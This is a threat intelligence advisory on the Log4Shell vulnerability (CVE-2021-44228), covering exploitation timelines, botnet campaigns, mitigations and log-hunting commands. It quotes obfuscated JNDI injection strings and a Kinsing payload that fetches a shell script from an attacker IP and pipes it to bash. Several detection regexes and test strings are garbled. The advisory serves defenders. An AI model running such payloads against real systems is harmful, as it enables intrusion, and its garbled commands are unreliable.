Log4Shell: Update on Log4j Vulnerability, CVE-2021-44228

Executive Summary

On December 09, 2021, a zero-day exploit, CVE-2021-44228, in the Log4j logging library that results in Remote Code Execution (RCE) was reported by security researchers at LunaSec. It is Very Likely the impact of this vulnerability will be severe given the number of affected services, ease of exploitation, and the adversaries' ability to seize control of targeted servers. The exploit works when data is sent from the user to the server via any protocol and the server logs the data in the request containing the malicious payload. Threat actors have been actively exploiting the vulnerability since December 01, over a week prior to the disclosure. Observed exploitation significantly increased since the public disclosure on December 09, 2021. Reports suggest over 10 malware campaigns and botnets have been observed targeting and exploiting CVE-2021-44228 including the Kinsing, Mirai, Muhstik, and BillGates botnets. Active attacks have resulted in the deployment of cryptocurrency miners and claims of possible Cobalt Strike beacons. As of 13 December there are no indications or known reports of critical attacks like ransomware or webshells leveraging this vulnerability. Optiv GTIC assesses with Moderate Confidence that it is Likely that within the next 7 days, additional payloads like webshells (Persistence and Exfiltration) and ransomware (Exfiltration, Impact) will be delivered through the exploitation of CVE-2021-44228. Optiv's Global Threat Intelligence Center (GTIC) recommends extending searches for attack indicators going back to December 01, 2021; update Java runtime to version 8; disable or restrict egress from web and application servers; and identify and update vulnerable software/devices.

Recommendations and Findings

Mitigation Recommendations

Optiv GTIC makes the following preventive and mitigation recommendations for the threats referenced in this report.

- Based on reports of exploitation activity over a week prior to disclosure, organizations should extend their searches for indicators of compromise and exploitation attempts back to December 01, 2021.
- Update Java runtime to version 8; if using Java Runtime Environment (JRE) 7, the initial patch will not mitigate the risk.
- Disable or restrict egress from web and application servers if possible to prevent recursive DNS and uploading of malicious payloads from external sites.
- In releases >=2.10, this behavior can be mitigated by setting either the system property dlog4j2.formatMsgNoLookups or the environment variable DLOG4J_FORMAT_MSG_NO_LOOKUPS to TRUE.
- For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookupclass from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
- Prioritize patching based off exposure and criticality, notably internet-facing systems.
• Identify vulnerable software/devices
  o Asset inventories.
  o Software bill of material manifests.
  o Software build pipeline dependency manifests (e.g., Maven).
  o Vendor bulletins (see Appendix B).
  o Log file analytics to identify Log4j like entries.

If organizations are unable to upgrade to the latest version of Log4j (currently 2.16.0), Optiv GTIC recommends the following preventive options.

• Modify every logging pattern layout to say %m{nolookups} instead of %m in logging configuration files.
• Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class.
• Version 2.16.0, announced at approximately 7:30PM EST, JNDI is disabled by default and Message Lookup support is removed

If exploitation has been observed, Optiv GTIC recommends the following options for remediation.

• Collect memory dump from system.
• System isolation.
• If unable to fully isolate, disable egress from web and application servers to prevent recursive DNS and uploading of malicious payloads from external sites.
• Preserve logs and other security control telemetry back to at least December 01, 2021.
• Collect disk image from affected systems.

Key Findings

• Critical zero-day, CVE-2021-44228 (CVSS score 10.0) reported in the Log4j logging library that can result in Remote Code Execution (RCE).
• The vulnerability affects cloud services like Steam, apps like Minecraft, and services like Apache Struts.
• The vulnerability has been assigned the highest CVSS score of 10 given how relatively easy it is to exploit, attackers’ ability to seize control of targeted servers, and the ubiquity of the library.
• An initial patch was released in version 2.15.0 on December 10. On December 13, version 2.16.0 takes further preventive measures against JNDI exploitation and Message Lookup abuse.
• The impact of this vulnerability is severe given how many devices are affected and the ability of the adversary to take control of the server.
• Multiple security vendors have reported threat actors exploiting the vulnerability to install cryptocurrency miners, botnets, and backdoors including Mirai, Muhstik, and Kinsing.
• Optiv’s GTIC recommends users update their Java runtime to version 8, be aware of whether product vendors using the library are implementing the patches and turn off egress from web and application servers.
• Optiv has been collecting, vetting, and publishing Log4j vulnerability attack indicators of compromise (IOCs). Configuring security solutions to utilize these resources will assist in temporarily defending against ongoing attacks (Reference Appendix B).

What happened?

On December 09, 2021, security researchers with LunaSec disclosed a critical vulnerability in the Log4j logging library which results in Remote Code Execution (RCE) by logging a certain string. The vulnerability was disclosed on December 09, 2021; however, security researchers have reported that threat actors have been attempting to exploit the vulnerability since December 01, 2021. The vulnerability, CVE-2021-44228 (CVSS score 10), affects Cloud Services, such as Steam, Apple iCloud; applications, such as Minecraft; and web services such as Apache
Struts and Apache Solr. Systems affected include any system and services that use Java logging library Apache Log4j between versions 2.0 and 2.14.1.

The first reports identified the vulnerability could be exploited over HTTP; however, new reports as of 13 December indicate the vulnerability can be exploited either over HTTP or HTTPS. Initial exploit attempts were basic call backs, with the initial exploit attempt coming from The Onion Router (TOR) nodes. However, since the initial exploit attempts, threat actors have changed tactics when leveraging the vulnerability. Security researchers with Vectra have identified a shift in the commands used as the threat actors have begun obfuscating their requests. Attackers first began by stuffing the User Agent or Uniform Resource Identifier (URI) with a base64 string, which caused the host to download a malicious dropper from the attackers’ infrastructure. As of December 13, attackers started obfuscating the Java Naming and Directory Interface (JNDI) string itself, by taking advantage of other translation features of the JNDI process.

```
$\{jndi:S(lower:l)S(lower:d)aS(lower:p):/world80
$\{jndi:dns://
```

*Figure 1: Examples of obfuscated requests (Source: Threatpost)*

The vulnerability results from how log messages are handled by the Log4j processor. The Log4j vulnerability is then triggered by the payload and the server makes the request to an attacker-controlled server via the JNDI. This response contains a path to a remote Java class file that is injected in the server process, which then triggers a second stage and allows an attacker to execute arbitrary code.

```
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {
    static Logger log = Logger.getLogger(Log4jExample.class.getName());

    /**
     * A simple HTTP endpoint that reads the request's User Agent and logs it back.
     * This is basically pseudo-code to explain the vulnerability, and not a full example.
     * @param he HTTP Request Object
     */
    public void handle(HttpExchange he) throws IOException {
        String userAgent = he.getRequestHeader("user-agent");

        String response = "<html>Hello There, " + userAgent + "</html>";
        he.sendResponseHeaders(200, response.length());
        OutputStream os = he.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }
}
```

*Figure 2: Example of vulnerable code (Source: LunaSec)*

Since the disclosure of the vulnerability, multiple security researchers have reported multiple botnets scanning for and exploiting the vulnerability. As of 13 December, cryptocurrency miners have been observed and reported as post-exploitation payloads.
On December 11, 2021, Microsoft Threat Intelligence Center claimed that the Log4j vulnerability was being exploited to drop Cobalt Strike beacons.

On December 11, 2021, security researchers with NetLab 360 reported that the Mirai and Muhstik botnets were observed actively adopting the vulnerability to target Linux devices. The Mirai botnet observed in this wave of attacks appears to be a new version of the variant and uses the *.uy top-level domain (TLD) as its command and control (C2) infrastructure. The Muhstik variant used in the observed attacks includes a backdoor module, idm, which adds an SSH backdoor public key to allow remote connections to the server. The sample of Muhstik reportedly supports distributed denial of service (DDoS) and backdoor commands. On December 13, 2021, security researchers with NetLab 360 reported seeing up to eight various botnets and tools being used target vulnerable instances of Log4j, including the Elknot (aka: BillGates) botnet.

On December 12, 2021, security researchers with Bleeping Computer reported that the threat actors behind the Kinsing botnet were observed heavily abusing the Log4j vulnerability with Base64 encoded payloads that result in the vulnerable server downloading and executing shell scripts. The shell script observed will remove competing malware from the vulnerable device and then download and install the Kinsing malware, which will then begin mining for cryptocurrency.

```
{\jndi:ldap://92.242.40.21:5557/Basic/Command/Base64/KGN1cmwgLXNgOTIuMjQyLjQwLjIxL2oLnNofHx3Z2V0IC1xIC1PLSA5Mi4yNDIuNDAuMjEybGuc2gpfJhc2g=

(curl -s 92.242.40.21/1h.sh | wget -q -O 92.242.40.21/1h.sh) | bash
```

*Figure 3: Kinsing Log4Shell exploit and decoded commands (Source: Bleeping Computer)*

### Optiv GTIC Comments and Analysis

The vulnerability was disclosed on December 09, 2021, however, security researchers have reported that the scanning and attempted exploitation of the vulnerability dates back to December 01, 2021. While this report suggests that the vulnerability was being exploited in the wild nine days prior to the public disclosure, exploitation significantly increased following the disclosure and release of a POC. Optiv’s GTIC assesses with High Confidence that attempts to exploit this vulnerability by additional threat actors and campaigns will continue over the next several weeks. Cryptocurrency miners will Likely be the favored payload due to the ease of deployment and potential for instant profits for threat actors. Optiv’s GTIC assesses with Moderate Confidence that the BuleHero botnet will also begin exploiting Log4j within the next 7 days. This assessment is based on the botnet’s history of exploiting Apache vulnerabilities to deploy cryptocurrency miners, like XMRig, since 2018. The identification of multiple botnets targeting this vulnerability shows similar behavior and targeting observed with other vulnerabilities, such as the ShellShock vulnerabilities in 2014.

In addition to cryptocurrency miners, single-source reporting suggests threat actors are also uploading Cobalt Strike beacons onto vulnerable systems. Cobalt Strike is used as part of network breaches and malware attacks, such as ransomware, for Discovery and Lateral Movement. While there has been no evidence or reports of ransomware groups targeting the Log4j vulnerability as of 13 December, it is Likely ransomware programs and groups will begin leveraging vulnerable instances of Log4j to deploy ransomware within the next 7 days. This assessment is based off previously-observed timeframes of initial vulnerability disclosure to active compromise and attacks by ransomware in various other software and services (0 – 10 days). The number of affected devices, the multiple paths available to exploit the vulnerability, and the number of threat actors scanning for and exploiting the vulnerability indicate the vulnerability will have a significant impact on the landscape.

Additionally, popular offensive security tools (OSTs) have been updated to test systems for CVE-2021-44228, including the JNDI Injection Exploit Kit tool. Open-source and freely available penetration testing tools and OSTs are frequently leveraged by threat actors to scan and test for vulnerable devices for follow-on exploitation and compromise, which expands adversary capabilities.
While static indicators like IP addresses and domains support temporary detection and prevention efforts, there are detection gaps that must be filled at a more detailed level. One way that organizations can improve their security posture against Log4Shell attacks is to use more robust hunting techniques, including command line queries and rules to identify exploitation efforts of CVE-2021-44228. These include:

- Use grep/zgrep capabilities to look for exploitation attempts throughout /var/log.

- Uncompressed: `sudo egrep -l -r "%，\{，%7B\}ndi:(ldap[\{s\}]?|rmii|dns|nis|iop|corba|nds|http)：/[^\n]+" /var/log`

- Compressed: `sudo find /var/log -name "，\{，%7B\}ndi:(ldap[\{s\}]?|rmii|dns|nis|iop|corba|nds|http)：/[^\n]+" -print0 | xargs -0 zgrep -E -i "％，\{，%7B\}ndi:(ldap[\{s\}]?|rmii|dns|nis|iop|corba|nds|http)：/[^\n]+"`

- On Windows, utilize the PowerShell Get-ChildItem (gci) to find JAR files that have a JndiLookup.class, gci "C:\" -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path. On Linux, find / 2>/dev/null -regex ".*.jar" -type f | xargs --0 grep JndiLookup.class "()".

- DNS callbacks and lookups alone are not strictly indicative or evidence of being vulnerable. The following commands support testing for the vulnerability if DNS callback is enabled:
  - S{$jnidi:ldap://$[env:JAVA_VERSION].domain/a}
  - S{$jnidi:ldap://$[sys:java.version].domain/a}
  - S{$jnidi:ldap://$[hostName].domain/a}
  - S{$jnidi:ldap://$[sys:java.vendor].domain/a}

- If the exploitation attempts are obfuscated, try these commands to get a match.
  - Uncompressed(obfuscated): `sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\$\{lower://g | tr -d ' '}" | egrep -l -i 'jnidi:(ldap[s]?|rmii|dns|nis|iop|corba|nds|http):/"';`
  - Compressed(obfuscated): `sudo find /var/log/ -name "，\{，%7B\}ndi:(ldap[\{s\}]?|rmii|dns|nis|iop|corba|nds|http):/[^\n]+" -exec sh -c "zcat {} | sed -e 's/\$\{lower://g | tr -d ' '}" | egrep -l 'jnidi:(ldap[s]?|rmii|dns|nis|iop|corba|nds|http):/"';`

Additional tools and references for hunting efforts and exploitation detection are listed in Appendix B.

It is critical for organizations to be aware of what third-party libraries are running on their server stacks. Not having proper visibility or inventory of assets, software, or libraries running within the environment Very Likely increases the risk of compromise from multiple threats and vulnerabilities and is not restricted to CVE-2021-44228. As this vulnerability is in a library, users need to wait for product vendors using the library to patch their software. An initial fix was released on December 10, 2021 with version 2.15.0 with an additional update on December 13 with version 2.16.0. Vendors will likely require additional time to implement patches on all affected software and devices.
Appendix A – Indicators

List of Log4j Affected Vendor Components

- https://github.com/YfryTchsGD/Log4jAttackSurface
- An additional list of impacted vendor components and libraries was curated by Optiv Threat Team’s Attack and Penetration team. See attachment “Appendix A – 1”

Appendix B – Useful Links

The Optiv Threat Feeds

- https://threatweb.com/access

Vendor Advisories

- Apache Log4j - https://logging.apache.org/log4j/2.x/security.html
- VMWare - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- Curated list of impacted products - https://github.com/authomize/log4j-log4shell-affected

Vulnerability Detection

- https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Exploitation Detection

- https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Log4J_IPIOC_Dec112021.yaml
- https://github.com/Neo23x0/log4shell-detector

Appendix C - References

Prince, Matthew [@eastdakota] (2021, December 11) Earliest evidence we’ve found so far of #Log4j exploit is 2021-12-01 04:36:50 UTC. Twitter. https://twitter.com/eastdakota/status/1469800951351427073
Wortley, Free; Thompson, Chris (2021, December 9) Log4Shell: RCE 0-day exploit found in Log4j2, a popular Java logging package. https://www.lunasec.io/docs/blog/Log4j-zero-day/


NetLab 360 (2021, December 13) Ten families of malicious samples are spreading using the Log4j2 vulnerability now. https://blog.netlab.360.com/ten-families-of-malicious-samples-are-spreading-using-the-log4j2-vulnerability-now/